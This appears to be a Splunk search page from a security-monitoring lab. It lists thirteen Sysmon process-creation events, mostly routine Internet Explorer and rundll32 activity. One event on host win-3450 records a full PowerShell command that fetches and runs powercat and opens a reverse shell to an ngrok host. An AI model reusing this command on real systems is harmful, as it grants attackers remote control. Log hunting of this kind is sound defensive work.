New Search

```
1  sourcetype=_json datasource=sysmon event.code=1
2  | search process.name="rundll32.exe" OR process.name="iexplore.exe" OR process.name="powershell.exe"
```

Last 24 hours

✓ **13 events** (12/13/25 5:00:00.000 AM to 12/14/25 5:25:21.000 AM) No Event Sampling

Events (13)

Format Timeline 1 hour per column

SELECTED FIELDS
a host 1
a source 1
a sourcetype 1

INTERESTING FIELDS
a datasource 1
a event.action 1
event.code 1
a host.name 10
a index 1
linecount 1
a process.command_line 6
a process.name 3
a process.parent.name 2
process.parent.pid 13
process.pid 13
a process.working_directory 11
a punct 1
a splunk_server 1
a timestamp 13

+ Extract New Fields (/en-US/app/search/field_extractor?sid=1765689921.256)

Time	Event
12/14/25 5:03:11.369 AM	{ [-] **datasource**: sysmon **event.action**: Process Create (rule: ProcessCreate) **event.code**: 1 **host.name**: win-3456 **process.command_line**: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:00000000000000000 **process.name**: rundll32.exe **process.parent.name**: iexplore.exe **process.parent.pid**: 3937 **process.pid**: 3829 **process.working_directory**: C:\Users\safa.prince\Desktop\ **timestamp**: 12/14/2025 05:03:11.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:52.369 AM	{ [-] **datasource**: sysmon **event.action**: Process Create (rule: ProcessCreate) **event.code**: 1 **host.name**: win-3449 **process.command_line**: "C:\Program Files\Internet Explorer\iexplore.exe" -startmanager -Embedding **process.name**: iexplore.exe **process.parent.pid**: 3987 **process.pid**: 3903 **process.working_directory**: C:\Windows\system32\ **timestamp**: 12/14/2025 05:02:52.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:54:33.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell" process.name: powershell.exe process.parent.name: explorer.exe process.parent.pid: 3,180 process.pid: 3880 process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\ timestamp: 12/14/2025 04:54:33.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:53:10.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3454 process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000 process.name: rundll32.exe process.parent.name: iexplore.exe process.parent.pid: 3861 process.pid: 3824 process.working_directory: C:\Users\liam.espinoza\Desktop\ timestamp: 12/14/2025 04:53:10.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:50:48.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3457 process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8388616 WinX:0 WinY:0 IEFrame:0000000000000000 process.name: rundll32.exe process.parent.name: iexplore.exe process.parent.pid: 3732 process.pid: 3702 process.working_directory: C:\Users\diego.summers\Desktop\ timestamp: 12/14/2025 04:50:48.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:40:12.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3461 process.command_line: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 process.name: iexplore.exe process.parent.name: iexplore.exe process.parent.pid: 3565 process.pid: 3621 process.working_directory: C:\Users\sophie.j\Desktop\ timestamp: 12/14/2025 04:40:12.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:36:29.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3451 process.command_line: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2832 CREDAT:9474 /prefetch:2 process.name: iexplore.exe process.parent.name: iexplore.exe process.parent.pid: 3779 process.pid: 3614 process.working_directory: C:\Users\miguel.odonnell\Desktop\ timestamp: 12/14/2025 04:36:29.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:36:05.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3456 process.command_line: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 process.name: iexplore.exe process.parent.name: iexplore.exe process.parent.pid: 3577 process.pid: 3707 process.working_directory: C:\Users\safa.prince\Desktop\ timestamp: 12/14/2025 04:36:05.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:35:32.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3460 process.command_line: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2832 CREDAT:9474 /prefetch:2 process.name: iexplore.exe process.parent.name: iexplore.exe process.parent.pid: 3800 process.pid: 3645 process.working_directory: C:\Users\roger.fedora\Desktop\ timestamp: 12/14/2025 04:35:32.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:35:19.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3461 process.command_line: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 process.name: iexplore.exe process.parent.name: iexplore.exe process.parent.pid: 3877 process.pid: 3633 process.working_directory: C:\Users\sophie.j\Desktop\ timestamp: 12/14/2025 04:35:19.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:28:43.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8388616 WinX:0 WinY:0 IEFrame:0000000000000000 process.name: rundll32.exe process.parent.name: iexplore.exe process.parent.pid: 3806 process.pid: 3979 process.working_directory: C:\Users\michael.ascot\Desktop\ timestamp: 12/14/2025 04:28:43.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:26:49.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3453 process.command_line: "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8580 CREDAT:9474 /prefetch:2 process.name: iexplore.exe process.parent.name: iexplore.exe process.parent.pid: 3933 process.pid: 3690 process.working_directory: C:\Users\kyra.flores\Desktop\ timestamp: 12/14/2025 04:26:49.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:24:50.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3455 process.command_line: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000 process.name: rundll32.exe process.parent.name: iexplore.exe process.parent.pid: 3596 process.pid: 3692 process.working_directory: C:\Users\ashwin.johnston\Desktop\ timestamp: 12/14/2025 04:24:50.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json